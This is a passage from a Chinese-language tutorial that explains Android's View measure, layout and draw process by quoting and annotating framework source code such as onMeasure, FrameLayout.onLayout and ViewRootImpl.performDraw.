getChildMeasureSpec(heightMeasureSpec,\n\t\t\t\t\t\tgetPaddingTopWithForeground() + getPaddingBottomWithForeground() +\n\t\t\t\t\t\tlp.topMargin + lp.bottomMargin,\n\t\t\t\t\t\tlp.height);\n\t\t\t}\n\n\t\t\tchild.measure(childWidthMeasureSpec, childHeightMeasureSpec);\n\t\t}\n\t}\n}\n```\n\n我们看到内部会调用`measureChildWithMargins()`方法,该方法源码如下：\n```java\n/**\n * Ask one of the children of this view to measure itself, taking into\n * account both the MeasureSpec requirements for this view and its padding\n * and margins. The child must have MarginLayoutParams The heavy lifting is\n * done in getChildMeasureSpec.\n *\n * @param child The child to measure\n * @param parentWidthMeasureSpec The width requirements for this view\n * @param widthUsed Extra space that has been used up by the parent\n *        horizontally (possibly by other children of the parent)\n * @param parentHeightMeasureSpec The height requirements for this view\n * @param heightUsed Extra space that has been used up by the parent\n *        vertically (possibly by other children of the parent)\n */\nprotected void measureChildWithMargins(View child,\n\t\tint parentWidthMeasureSpec, int widthUsed,\n\t\tint parentHeightMeasureSpec, int heightUsed) {\n\tfinal MarginLayoutParams lp = (MarginLayoutParams) child.getLayoutParams();\n\n\tfinal int childWidthMeasureSpec = getChildMeasureSpec(parentWidthMeasureSpec,\n\t\t\tmPaddingLeft + mPaddingRight + lp.leftMargin + lp.rightMargin\n\t\t\t\t\t+ widthUsed, lp.width);\n\tfinal int childHeightMeasureSpec = getChildMeasureSpec(parentHeightMeasureSpec,\n\t\t\tmPaddingTop + mPaddingBottom + lp.topMargin + lp.bottomMargin\n\t\t\t\t\t+ heightUsed, lp.height);\n\n\tchild.measure(childWidthMeasureSpec, childHeightMeasureSpec);\n}\n```\n里面就是对该子`View`调用了`measure`方法，我们假设这个`View`已经不是`ViewGroup`了，就会又和上面一样，又调用`onMeasure`方法，\n下面我们直接看一下`View.onMeasure()`方法：\n`View.onMeasure()`方法的源码如下：\n```java\n/**\n * <p>\n * Measure the view and its content to determine the measured width and the\n * measured height. This method is invoked by {@link #measure(int, int)} and\n * should be overriden by subclasses to provide accurate and efficient\n * measurement of their contents.\n * </p>\n *\n * <p>\n * <strong>CONTRACT:</strong> When overriding this method, you\n * <em>must</em> call {@link #setMeasuredDimension(int, int)} to store the\n * measured width and height of this view. Failure to do so will trigger an\n * <code>IllegalStateException</code>, thrown by\n * {@link #measure(int, int)}. Calling the superclass'\n * {@link #onMeasure(int, int)} is a valid use.\n * </p>\n *\n * <p>\n * The base class implementation of measure defaults to the background size,\n * unless a larger size is allowed by the MeasureSpec. Subclasses should\n * override {@link #onMeasure(int, int)} to provide better measurements of\n * their content.\n * </p>\n *\n * <p>\n * If this method is overridden, it is the subclass's responsibility to make\n * sure the measured height and width are at least the view's minimum height\n * and width ({@link #getSuggestedMinimumHeight()} and\n * {@link #getSuggestedMinimumWidth()}).\n * </p>\n *\n * @param widthMeasureSpec horizontal space requirements as imposed by the parent.\n *                         The requirements are encoded with\n *                         {@link android.view.View.MeasureSpec}.\n * @param heightMeasureSpec vertical space requirements as imposed by the parent.\n *                         The requirements are encoded with\n *                         {@link android.view.View.MeasureSpec}.\n *\n * @see #getMeasuredWidth()\n * @see #getMeasuredHeight()\n * @see #setMeasuredDimension(int, int)\n * @see #getSuggestedMinimumHeight()\n * @see #getSuggestedMinimumWidth()\n * @see android.view.View.MeasureSpec#getMode(int)\n * @see android.view.View.MeasureSpec#getSize(int)\n */\nprotected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n\t// 如果不重写onMeasure方法，默认会调用getDefaultSize获取大小，下面会说getDefaultSize这个方法。\n\tsetMeasuredDimension(getDefaultSize(getSuggestedMinimumWidth(), widthMeasureSpec),\n\t\t\tgetDefaultSize(getSuggestedMinimumHeight(), heightMeasureSpec));\n}\n```\n\n`setMeasuredDimension()`方法如下： \n```java\n/**\n * <p>This method must be called by {@link #onMeasure(int, int)} to store the\n * measured width and measured height. Failing to do so will trigger an\n * exception at measurement time.</p>\n *\n * @param measuredWidth The measured width of this view.  May be a complex\n * bit mask as defined by {@link #MEASURED_SIZE_MASK} and\n * {@link #MEASURED_STATE_TOO_SMALL}.\n * @param measuredHeight The measured height of this view.  May be a complex\n * bit mask as defined by {@link #MEASURED_SIZE_MASK} and\n * {@link #MEASURED_STATE_TOO_SMALL}.\n */\nprotected final void setMeasuredDimension(int measuredWidth, int measuredHeight) {\n\tboolean optical = isLayoutModeOptical(this);\n\tif (optical != isLayoutModeOptical(mParent)) {\n\t\tInsets insets = getOpticalInsets();\n\t\tint opticalWidth  = insets.left + insets.right;\n\t\tint opticalHeight = insets.top  + insets.bottom;\n\n\t\tmeasuredWidth  += optical ? opticalWidth  : -opticalWidth;\n\t\tmeasuredHeight += optical ? opticalHeight : -opticalHeight;\n\t}\n\tsetMeasuredDimensionRaw(measuredWidth, measuredHeight);\n}\n```\n`setMeasuredDimensionRaw()`方法如下： \n```java\n/**\n * Sets the measured dimension without extra processing for things like optical bounds.\n * Useful for reapplying consistent values that have already been cooked with adjustments\n * for optical bounds, etc. such as those from the measurement cache.\n *\n * @param measuredWidth The measured width of this view.  May be a complex\n * bit mask as defined by {@link #MEASURED_SIZE_MASK} and\n * {@link #MEASURED_STATE_TOO_SMALL}.\n * @param measuredHeight The measured height of this view.  May be a complex\n * bit mask as defined by {@link #MEASURED_SIZE_MASK} and\n * {@link #MEASURED_STATE_TOO_SMALL}.\n */\nprivate void setMeasuredDimensionRaw(int measuredWidth, int measuredHeight) {\n\t// 赋值给mMeasuredWidth，getMeasuredWidth就会调用该值。\n\tmMeasuredWidth = measuredWidth;\n\tmMeasuredHeight = measuredHeight;\n\n\t// 这就是重写onMeasure方法时如果不调用setMeasuredDimension方法时为什么会报错的原因。\n\tmPrivateFlags |= PFLAG_MEASURED_DIMENSION_SET;\n}\n```\n\n我们接着看一下上面用到的`getDefaultSize()`方法，源码如下：\n```java\n/**\n * Utility to return a default size. Uses the supplied size if the\n * MeasureSpec imposed no constraints. Will get larger if allowed\n * by the MeasureSpec.\n *\n * @param size Default size for this view\n * @param measureSpec Constraints imposed by the parent\n * @return The size this view should be.\n */\npublic static int getDefaultSize(int size, int measureSpec) {\n\tint result = size;\n\t// measureSpec值用于获取宽度(高度)的规格和大小，解析出对应的size和mode\n\tint specMode = MeasureSpec.getMode(measureSpec);\n\tint specSize = MeasureSpec.getSize(measureSpec);\n\n\tswitch (specMode) {\n\tcase MeasureSpec.UNSPECIFIED:\n\t\tresult = size;\n\t\tbreak;\n\tcase MeasureSpec.AT_MOST:\n\tcase MeasureSpec.EXACTLY:\n\t\tresult = specSize;\n\t\tbreak;\n\t}\n\treturn result;\n}\n```\n`getDefaultSize`方法又会使用到`MeasureSpec`类，文档中对`MeasureSpec`是这样介绍的`A MeasureSpec is comprised of a size and a mode. There are three possible modes:`\n- MeasureSpec.EXACTLY The parent has determined an exact size for the child. The child is going to be given those bounds regardless of how big it wants to be. \n    理解成MATCH_PARENT或者在布局中指定了宽高值，如layout:width='50dp'\n- MeasureSpec.AT_MOST The child can be as large as it wants up to the specified size.理解成WRAP_CONTENT,这是的值是父View可以允许的最大的值，只要不超过这个值都可以。\n- MeasureSpec.UNSPECIFIED The parent has not imposed any constraint on the child. It can be whatever size it wants. 这种情况比较少，一般用不到。\n\n这里简单总结一下上面的过程:\n```java\nperformMeasure() {\n\t- 1.调用View.measure方法\n\tmView.measure():\n\t\t- 2.measure内部会调用onMeasure方法,但是因为这里mView是DecorView，所以会调用FrameLayout的onMeasure方法。\n\t        onMeasure(FrameLayout)\n\t\t\t- 3. 内部设置ViewGroup的宽高\n\t\t\t\tsetMeasuredDimension\n\t\t\t\t并且对每个子View进行遍历测量\n\t\t\t\tfor (int i = 0; i < count; i++) {\n\t\t\t\t\tfinal View child = getChildAt(i);\n\t\t\t\t\t- 4. 对每个子View调用measureChildWithMargins方法\n\t\t\t\t\tmeasureChildWithMargins(child, widthMeasureSpec, 0, heightMeasureSpec, 0);\t\n\t\t\t\t\t    -5. measureChildWithMargins内部调用子View的measure方法\n\t\t\t\t\t        meausre\n\t\t\t\t\t\t\t- 6. measure方法内部又调用onMeasure方法\n\t\t\t\t\t            onMeasure(View)\n\t\t\t\t\t            - 7. onMeasure方法内部调用setMeasuredDimension\n\t\t\t\t\t\t\t\t\tsetMeasuredDimension\n\t\t\t\t\t\t\t\t\t- 8. setMeasuredDimension内部调用setMeasuredDimensionRaw\n\t\t\t\t\t\t\t\t\t    setMeasuredDimensionRaw\n\t\t\t\t}\n}\n```\n\n从上面代码中能看到`measure`是`final`的，我们可以重写`onMeasure`来实现`measure`过程。\n到这里基本都讲完了，我们在开发中会按照需要重写`onMeasure`方法，然后调用`setMeasuredDimension`方法设置大小，\nps:譬如我们设置了`setMeasuredDimension(10, 10)`,那么不管布局中怎么设置这个`View`的大小\n都是没用的，最后显示出来大小都是10*10。\n\n`Layout`\n===\n`performLayout`方法源码如下：\n```java\nprivate void performLayout(WindowManager.LayoutParams lp, int desiredWindowWidth,\n\t\tint desiredWindowHeight) {\n\tmLayoutRequested = false;\n\tmScrollMayChange = true;\n\tmInLayout = true;\n\n\tfinal View host = mView;\n\tif (DEBUG_ORIENTATION || DEBUG_LAYOUT) {\n\t\tLog.v(TAG, \"Laying out \" + host + \" to (\" +\n\t\t\t\thost.getMeasuredWidth() + \", \" + host.getMeasuredHeight() + \")\");\n\t}\n\n\tTrace.traceBegin(Trace.TRACE_TAG_VIEW, \"layout\");\n\ttry {\n\t\t// 把刚才测量的宽高设置进来\n\t\thost.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());\n\n\t\tmInLayout = false;\n\t\tint numViewsRequestingLayout = mLayoutRequesters.size();\n\t\tif (numViewsRequestingLayout > 0) {\n\t\t\t// requestLayout() was called during layout.\n\t\t\t// If no layout-request flags are set on the requesting views, there is no problem.\n\t\t\t// If some requests are still pending, then we need to clear those flags and do\n\t\t\t// a full request/measure/layout pass to handle this situation.\n\t\t\tArrayList<View> validLayoutRequesters = getValidLayoutRequesters(mLayoutRequesters,\n\t\t\t\t\tfalse);\n\t\t\tif (validLayoutRequesters != null) {\n\t\t\t\t// Set this flag to indicate that any further requests are happening during\n\t\t\t\t// the second pass, which may result in posting those requests to the next\n\t\t\t\t// frame instead\n\t\t\t\tmHandlingLayoutInLayoutRequest = true;\n\n\t\t\t\t// Process fresh layout requests, then measure and layout\n\t\t\t\tint numValidRequests = validLayoutRequesters.size();\n\t\t\t\tfor (int i = 0; i < numValidRequests; ++i) {\n\t\t\t\t\tfinal View view = validLayoutRequesters.get(i);\n\t\t\t\t\tLog.w(\"View\", \"requestLayout() improperly called by \" + view +\n\t\t\t\t\t\t\t\" during layout: running second layout pass\");\n\t\t\t\t\tview.requestLayout();\n\t\t\t\t}\n\t\t\t\tmeasureHierarchy(host, lp, mView.getContext().getResources(),\n\t\t\t\t\t\tdesiredWindowWidth, desiredWindowHeight);\n\t\t\t\tmInLayout = true;\n\t\t\t\thost.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());\n\n\t\t\t\tmHandlingLayoutInLayoutRequest = false;\n\n\t\t\t\t// Check the valid requests again, this time without checking/clearing the\n\t\t\t\t// layout flags, since requests happening during the second pass get noop'd\n\t\t\t\tvalidLayoutRequesters = getValidLayoutRequesters(mLayoutRequesters, true);\n\t\t\t\tif (validLayoutRequesters != null) {\n\t\t\t\t\tfinal ArrayList<View> finalRequesters = validLayoutRequesters;\n\t\t\t\t\t// Post second-pass requests to the next frame\n\t\t\t\t\tgetRunQueue().post(new Runnable() {\n\t\t\t\t\t\t@Override\n\t\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\t\tint numValidRequests = finalRequesters.size();\n\t\t\t\t\t\t\tfor (int i = 0; i < numValidRequests; ++i) {\n\t\t\t\t\t\t\t\tfinal View view = finalRequesters.get(i);\n\t\t\t\t\t\t\t\tLog.w(\"View\", \"requestLayout() improperly called by \" + view +\n\t\t\t\t\t\t\t\t\t\t\" during second layout pass: posting in next frame\");\n\t\t\t\t\t\t\t\tview.requestLayout();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t} finally {\n\t\tTrace.traceEnd(Trace.TRACE_TAG_VIEW);\n\t}\n\tmInLayout = false;\n}\n```\n\n内部会调用`layout()`方法，因为`host`是`mView`，`ViewGroup`中重写了`layout`方法，并调用了`super.layout`.\n所以我们直接看`View.layout()`方法，该方法源码如下： \n```java\n/**\n * Assign a size and position to a view and all of its\n * descendants\n *\n * <p>This is the second phase of the layout mechanism.\n * (The first is measuring). In this phase, each parent calls\n * layout on all of its children to position them.\n * This is typically done using the child measurements\n * that were stored in the measure pass().</p>\n *\n * <p>Derived classes should not override this method.\n * Derived classes with children should override\n * onLayout. In that method, they should\n * call layout on each of their children.</p>\n *\n * @param l Left position, relative to parent\n * @param t Top position, relative to parent\n * @param r Right position, relative to parent\n * @param b Bottom position, relative to parent\n */\n@SuppressWarnings({\"unchecked\"})\npublic void layout(int l, int t, int r, int b) {\n\tif ((mPrivateFlags3 & PFLAG3_MEASURE_NEEDED_BEFORE_LAYOUT) != 0) {\n\t\tonMeasure(mOldWidthMeasureSpec, mOldHeightMeasureSpec);\n\t\tmPrivateFlags3 &= ~PFLAG3_MEASURE_NEEDED_BEFORE_LAYOUT;\n\t}\n\n\tint oldL = mLeft;\n\tint oldT = mTop;\n\tint oldB = mBottom;\n\tint oldR = mRight;\n\n\t// 这部分是判断这个View的大小是否已经发生了变化，来判断是否需要重绘。\n\tboolean changed = isLayoutModeOptical(mParent) ?\n\t\t\tsetOpticalFrame(l, t, r, b) : setFrame(l, t, r, b);\n\n\tif (changed || (mPrivateFlags & PFLAG_LAYOUT_REQUIRED) == PFLAG_LAYOUT_REQUIRED) {\n\t\t// 内部调用onLayout方法\n\t\tonLayout(changed, l, t, r, b);\n\t\tmPrivateFlags &= ~PFLAG_LAYOUT_REQUIRED;\n\n\t\tListenerInfo li = mListenerInfo;\n\t\tif (li != null && li.mOnLayoutChangeListeners != null) {\n\t\t\tArrayList<OnLayoutChangeListener> listenersCopy =\n\t\t\t\t\t(ArrayList<OnLayoutChangeListener>)li.mOnLayoutChangeListeners.clone();\n\t\t\tint numListeners = listenersCopy.size();\n\t\t\tfor (int i = 0; i < numListeners; ++i) {\n\t\t\t\tlistenersCopy.get(i).onLayoutChange(this, l, t, r, b, oldL, oldT, oldR, oldB);\n\t\t\t}\n\t\t}\n\t}\n\n\tmPrivateFlags &= ~PFLAG_FORCE_LAYOUT;\n\tmPrivateFlags3 |= PFLAG3_IS_LAID_OUT;\n}\n```\n这里会调用`onLayout`方法，同样因为`mView`是`FrameLayout`的子类，所以我们要看`FrameLayout`的`onLayout`方法，\n这里我们先看一下`ViewGroup.onLayout`方法:\n```java\n/**\n * {@inheritDoc}\n */\n@Override\nprotected abstract void onLayout(boolean changed,\n\t\tint l, int t, int r, int b);\n```\n是个抽象方法，所以`ViewGroup`的子类都需要实现该方法。\n我们看一下`FrameLayout.onLayout`方法,源码如下：\n```java\n /**\n * {@inheritDoc}\n */\n@Override\nprotected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n\tlayoutChildren(left, top, right, bottom, false /* no force left gravity */);\n}\n\nvoid layoutChildren(int left, int top, int right, int bottom,\n\t\t\t\t\t\t\t  boolean forceLeftGravity) {\n\tfinal int count = getChildCount();\n\n\tfinal int parentLeft = getPaddingLeftWithForeground();\n\tfinal int parentRight = right - left - getPaddingRightWithForeground();\n\n\tfinal int parentTop = getPaddingTopWithForeground();\n\tfinal int parentBottom = bottom - top - getPaddingBottomWithForeground();\n\n\tmForegroundBoundsChanged = true;\n\t\n\tfor (int i = 0; i < count; i++) {\n\t\tfinal View child = getChildAt(i);\n\t\tif (child.getVisibility() != GONE) {\n\t\t\tfinal LayoutParams lp = (LayoutParams) child.getLayoutParams();\n\n\t\t\tfinal int width = child.getMeasuredWidth();\n\t\t\tfinal int height = child.getMeasuredHeight();\n\n\t\t\tint childLeft;\n\t\t\tint childTop;\n\n\t\t\tint gravity = lp.gravity;\n\t\t\tif (gravity == -1) {\n\t\t\t\tgravity = DEFAULT_CHILD_GRAVITY;\n\t\t\t}\n\n\t\t\tfinal int layoutDirection = getLayoutDirection();\n\t\t\tfinal int absoluteGravity = Gravity.getAbsoluteGravity(gravity, layoutDirection);\n\t\t\tfinal int verticalGravity = gravity & Gravity.VERTICAL_GRAVITY_MASK;\n\n\t\t\tswitch (absoluteGravity & Gravity.HORIZONTAL_GRAVITY_MASK) {\n\t\t\t\tcase Gravity.CENTER_HORIZONTAL:\n\t\t\t\t\tchildLeft = parentLeft + (parentRight - parentLeft - width) / 2 +\n\t\t\t\t\tlp.leftMargin - lp.rightMargin;\n\t\t\t\t\tbreak;\n\t\t\t\tcase Gravity.RIGHT:\n\t\t\t\t\tif (!forceLeftGravity) {\n\t\t\t\t\t\tchildLeft = parentRight - width - lp.rightMargin;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\tcase Gravity.LEFT:\n\t\t\t\tdefault:\n\t\t\t\t\tchildLeft = parentLeft + lp.leftMargin;\n\t\t\t}\n\n\t\t\tswitch (verticalGravity) {\n\t\t\t\tcase Gravity.TOP:\n\t\t\t\t\tchildTop = parentTop + lp.topMargin;\n\t\t\t\t\tbreak;\n\t\t\t\tcase Gravity.CENTER_VERTICAL:\n\t\t\t\t\tchildTop = parentTop + (parentBottom - parentTop - height) / 2 +\n\t\t\t\t\tlp.topMargin - lp.bottomMargin;\n\t\t\t\t\tbreak;\n\t\t\t\tcase Gravity.BOTTOM:\n\t\t\t\t\tchildTop = parentBottom - height - lp.bottomMargin;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tchildTop = parentTop + lp.topMargin;\n\t\t\t}\n\t\t\t//调用子View的layout方法\n\t\t\tchild.layout(childLeft, childTop, childLeft + width, childTop + height);\n\t\t}\n\t}\n}\n```\n而`View.layout`方法，又会调用到`View.onLayout`方法，我们假设这个子`View`不是`ViewGroup`.\n看一下`View.onLayout`方法源码如下： \n```java\n/**\n * Called from layout when this view should\n * assign a size and position to each of its children.\n *\n * Derived classes with children should override\n * this method and call layout on each of\n * their children.\n * @param changed This is a new size or position for this view\n * @param left Left position, relative to parent\n * @param top Top position, relative to parent\n * @param right Right position, relative to parent\n * @param bottom Bottom position, relative to parent\n */\nprotected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n}\n```\n是一个空方法，这是因为`Layout`需要`ViewGroup`来控制进行。      \n\n这里也总结一下`layout`的过程。\n```java\nprivate void performLayout(WindowManager.LayoutParams lp, int desiredWindowWidth,\n\t\tint desiredWindowHeight) {\n\t- 1. host.layout\n\thost.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());\n\t\t-2. layout方法会分别调用setFrame()和onLayout()方法\n\t\t\tsetFrame()\n\t\t\tonLayout()\n\t\t\t-3. 因为host是mView也就是DecorView也就是FrameLayout的子类。FrameLayout的onLayout方法如下\n\t\t\t\tfor (int i = 0; i < count; i++) {\n\t\t\t\t\tfinal View child = getChildAt(i);\n\t\t\t\t\tif (child.getVisibility() != GONE) {\n\t\t\t\t\t    -4. 遍历每个子View，并分别调用layout方法。\n\t\t\t\t\t\tchild.layout(childLeft, childTop, childLeft + width, childTop + height);\n\t\t\t\t\t}\n\t\t\t\t}\n}\n```\n\n`Draw`\n===\n\n绘制阶段是从`ViewRootImpl`中的`performDraw`方法开始的：\n```java\nprivate void performDraw() {\n\tif (mAttachInfo.mDisplayState == Display.STATE_OFF && !mReportNextDraw) {\n\t\treturn;\n\t}\n\n\tfinal boolean fullRedrawNeeded = mFullRedrawNeeded;\n\tmFullRedrawNeeded = false;\n\n\tmIsDrawing = true;\n\tTrace.traceBegin(Trace.TRACE_TAG_VIEW, \"draw\");\n\ttry {\n\t\t// 开始draw了\n\t\tdraw(fullRedrawNeeded);\n\t} finally {\n\t\tmIsDrawing = false;\n\t\tTrace.traceEnd(Trace.TRACE_TAG_VIEW);\n\t}\n\n\t// For whatever reason we didn't create a HardwareRenderer, end any\n\t// hardware animations that are now dangling\n\tif (mAttachInfo.mPendingAnimatingRenderNodes != null) {\n\t\tfinal int count = mAttachInfo.mPendingAnimatingRenderNodes.size();\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tmAttachInfo.mPendingAnimatingRenderNodes.get(i).endAllAnimators();\n\t\t}\n\t\tmAttachInfo.mPendingAnimatingRenderNodes.clear();\n\t}\n\n\tif (mReportNextDraw) {\n\t\tmReportNextDraw = false;\n\t\tif (mAttachInfo.mHardwareRenderer != null) {\n\t\t\tmAttachInfo.mHardwareRenderer.fence();\n\t\t}\n\n\t\tif (LOCAL_LOGV) {\n\t\t\tLog.v(TAG, \"FINISHED DRAWING: \" + mWindowAttributes.getTitle());\n\t\t}\n\t\tif (mSurfaceHolder != null && mSurface.isValid()) {\n\t\t\tmSurfaceHolderCallback.surfaceRedrawNeeded(mSurfaceHolder);\n\t\t\tSurfaceHolder.Callback callbacks[] = mSurfaceHolder.getCallbacks();\n\t\t\tif (callbacks != null) {\n\t\t\t\tfor (SurfaceHolder.Callback c : callbacks) {\n\t\t\t\t\tif (c instanceof SurfaceHolder.Callback2) {\n\t\t\t\t\t\t((SurfaceHolder.Callback2)c).surfaceRedrawNeeded(\n\t\t\t\t\t\t\t\tmSurfaceHolder);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\ttry {\n\t\t\tmWindowSession.finishDrawing(mWindow);\n\t\t} catch (RemoteException e) {\n\t\t}\n\t}\n}\n```\n内部会调用`draw`方法，`draw`方法源码如下：\n```java\nprivate void draw(boolean fullRedrawNeeded) {\n\tSurface surface = mSurface;\n\tif (!surface.isValid()) {\n\t\treturn;\n\t}\n\n\tif (DEBUG_FPS) {\n\t\ttrackFPS();\n\t}\n\n\tif (!sFirstDrawComplete) {\n\t\tsynchronized (sFirstDrawHandlers) {\n\t\t\tsFirstDrawComplete = true;\n\t\t\tfinal int count = sFirstDrawHandlers.size();\n\t\t\tfor (int i = 0; i< count; i++) {\n\t\t\t\tmHandler.post(sFirstDrawHandlers.get(i));\n\t\t\t}\n\t\t}\n\t}\n\n\tscrollToRectOrFocus(null, false);\n\n\tif (mAttachInfo.mViewScrollChanged) {\n\t\tmAttachInfo.mViewScrollChanged = false;\n\t\tmAttachInfo.mTreeObserver.dispatchOnScrollChanged();\n\t}\n\n\tboolean animating = mScroller != null && mScroller.computeScrollOffset();\n\tfinal int curScrollY;\n\tif (animating) {\n\t\tcurScrollY = mScroller.getCurrY();\n\t} else {\n\t\tcurScrollY = mScrollY;\n\t}\n\tif (mCurScrollY != curScrollY) {\n\t\tmCurScrollY = curScrollY;\n\t\tfullRedrawNeeded = true;\n\t}\n\n\tfinal float appScale = mAttachInfo.mApplicationScale;\n\tfinal boolean scalingRequired = mAttachInfo.mScalingRequired;\n\n\tint resizeAlpha = 0;\n\tif (mResizeBuffer != null) {\n\t\tlong deltaTime = SystemClock.uptimeMillis() - mResizeBufferStartTime;\n\t\tif (deltaTime < mResizeBufferDuration) {\n\t\t\tfloat amt = deltaTime/(float) mResizeBufferDuration;\n\t\t\tamt = mResizeInterpolator.getInterpolation(amt);\n\t\t\tanimating = true;\n\t\t\tresizeAlpha = 255 - (int)(amt*255);\n\t\t} else {\n\t\t\tdisposeResizeBuffer();\n\t\t}\n\t}\n\n\tfinal Rect dirty = mDirty;\n\tif (mSurfaceHolder != null) {\n\t\t// The app owns the surface, we won't draw.\n\t\tdirty.setEmpty();\n\t\tif (animating) {\n\t\t\tif (mScroller != null) {\n\t\t\t\tmScroller.abortAnimation();\n\t\t\t}\n\t\t\tdisposeResizeBuffer();\n\t\t}\n\t\treturn;\n\t}\n\n\tif (fullRedrawNeeded) {\n\t\tmAttachInfo.mIgnoreDirtyState = true;\n\t\tdirty.set(0, 0, (int) (mWidth * appScale + 0.5f), (int) (mHeight * appScale + 0.5f));\n\t}\n\n\tif (DEBUG_ORIENTATION || DEBUG_DRAW) {\n\t\tLog.v(TAG, \"Draw \" + mView + \"/\"\n\t\t\t\t+ mWindowAttributes.getTitle()\n\t\t\t\t+ \": dirty={\" + dirty.left + \",\" + dirty.top\n\t\t\t\t+ \",\" + dirty.right + \",\" + dirty.bottom + \"} surface=\"\n\t\t\t\t+ surface + \" surface.isValid()=\" + surface.isValid() + \", appScale:\" +\n\t\t\t\tappScale + \", width=\" + mWidth + \", height=\" + mHeight);\n\t}\n\n\tmAttachInfo.mTreeObserver.dispatchOnDraw();\n\n\tint xOffset = 0;\n\tint yOffset = curScrollY;\n\tfinal WindowManager.LayoutParams params = mWindowAttributes;\n\tfinal Rect surfaceInsets = params != null ? params.surfaceInsets : null;\n\tif (surfaceInsets != null) {\n\t\txOffset -= surfaceInsets.left;\n\t\tyOffset -= surfaceInsets.top;\n\n\t\t// Offset dirty rect for surface insets.\n\t\tdirty.offset(surfaceInsets.left, surfaceInsets.right);\n\t}\n\n\tif (!dirty.isEmpty() || mIsAnimating) {\n\t\tif (mAttachInfo.mHardwareRenderer != null && mAttachInfo.mHardwareRenderer.isEnabled()) {\n\t\t\t// Draw with hardware renderer.\n\t\t\tmIsAnimating = false;\n\t\t\tboolean invalidateRoot = false;\n\t\t\tif (mHardwareYOffset != yOffset || mHardwareXOffset != xOffset) {\n\t\t\t\tmHardwareYOffset = yOffset;\n\t\t\t\tmHardwareXOffset = xOffset;\n\t\t\t\tmAttachInfo.mHardwareRenderer.invalidateRoot();\n\t\t\t}\n\t\t\tmResizeAlpha = resizeAlpha;\n\n\t\t\tdirty.setEmpty();\n\n\t\t\tmBlockResizeBuffer = false;\n\t\t\tmAttachInfo.mHardwareRenderer.draw(mView, mAttachInfo, this);\n\t\t} else {\n\t\t\t// If we get here with a disabled & requested hardware renderer, something went\n\t\t\t// wrong (an invalidate posted right before we destroyed the hardware surface\n\t\t\t// for instance) so we should just bail out. Locking the surface with software\n\t\t\t// rendering at this point would lock it forever and prevent hardware renderer\n\t\t\t// from doing its job when it comes back.\n\t\t\t// Before we request a new frame we must however attempt to reinitiliaze the\n\t\t\t// hardware renderer if it's in requested state. This would happen after an\n\t\t\t// eglTerminate() for instance.\n\t\t\tif (mAttachInfo.mHardwareRenderer != null &&\n\t\t\t\t\t!mAttachInfo.mHardwareRenderer.isEnabled() &&\n\t\t\t\t\tmAttachInfo.mHardwareRenderer.isRequested()) {\n\n\t\t\t\ttry {\n\t\t\t\t\tmAttachInfo.mHardwareRenderer.initializeIfNeeded(\n\t\t\t\t\t\t\tmWidth, mHeight, mSurface, surfaceInsets);\n\t\t\t\t} catch (OutOfResourcesException e) {\n\t\t\t\t\thandleOutOfResourcesException(e);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tmFullRedrawNeeded = true;\n\t\t\t\tscheduleTraversals();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t// draw的部分在这里。。。内部会用canvas去画\n\t\t\tif (!drawSoftware(surface, mAttachInfo, xOffset, yOffset, scalingRequired, dirty)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (animating) {\n\t\tmFullRedrawNeeded = true;\n\t\tscheduleTraversals();\n\t}\n}\n```\n我们看一下`drawSoftware`方法： \n```java\n/**\n * @return true if drawing was successful, false if an error occurred\n */\nprivate boolean drawSoftware(Surface surface, AttachInfo attachInfo, int xoff, int yoff,\n\t\tboolean scalingRequired, Rect dirty) {\n\n\t// Draw with software renderer.\n\tfinal Canvas canvas;\n\ttry {\n\t\tfinal int left = dirty.left;\n\t\tfinal int top = dirty.top;\n\t\tfinal int right = dirty.right;\n\t\tfinal int bottom = dirty.bottom;\n\n\t\tcanvas = mSurface.lockCanvas(dirty);\n\n\t\t// The dirty rectangle can be modified by Surface.lockCanvas()\n\t\t//noinspection ConstantConditions\n\t\tif (left != dirty.left || top != dirty.top || right != dirty.right\n\t\t\t\t|| bottom != dirty.bottom) {\n\t\t\tattachInfo.mIgnoreDirtyState = true;\n\t\t}\n\n\t\t// TODO: Do this in native\n\t\tcanvas.setDensity(mDensity);\n\t} catch (Surface.OutOfResourcesException e) {\n\t\thandleOutOfResourcesException(e);\n\t\treturn false;\n\t} catch (IllegalArgumentException e) {\n\t\tLog.e(TAG, \"Could not lock surface\", e);\n\t\t// Don't assume this is due to out of memory, it could be\n\t\t// something else, and if it is something else then we could\n\t\t// kill stuff (or ourself) for no reason.\n\t\tmLayoutRequested = true;    // ask wm for a new surface next time.\n\t\treturn false;\n\t}\n\n\ttry {\n\t\tif (DEBUG_ORIENTATION || DEBUG_DRAW) {\n\t\t\tLog.v(TAG, \"Surface \" + surface + \" drawing to bitmap w=\"\n\t\t\t\t\t+ canvas.getWidth() + \", h=\" + canvas.getHeight());\n\t\t\t//canvas.drawARGB(255, 255, 0, 0);\n\t\t}\n\n\t\t// If this bitmap's format includes an alpha channel, we\n\t\t// need to clear it before drawing so that the child will\n\t\t// properly re-composite its drawing on a transparent\n\t\t// background. This automatically respects the clip/dirty region\n\t\t// or\n\t\t// If we are applying an offset, we need to clear the area\n\t\t// where the offset doesn't appear to avoid having garbage\n\t\t// left in the blank areas.\n\t\tif (!canvas.isOpaque() || yoff != 0 || xoff != 0) {\n\t\t\tcanvas.drawColor(0, PorterDuff.Mode.CLEAR);\n\t\t}\n\n\t\tdirty.setEmpty();\n\t\tmIsAnimating = false;\n\t\tattachInfo.mDrawingTime = SystemClock.uptimeMillis();\n\t\tmView.mPrivateFlags |= View.PFLAG_DRAWN;\n\n\t\tif (DEBUG_DRAW) {\n\t\t\tContext cxt = 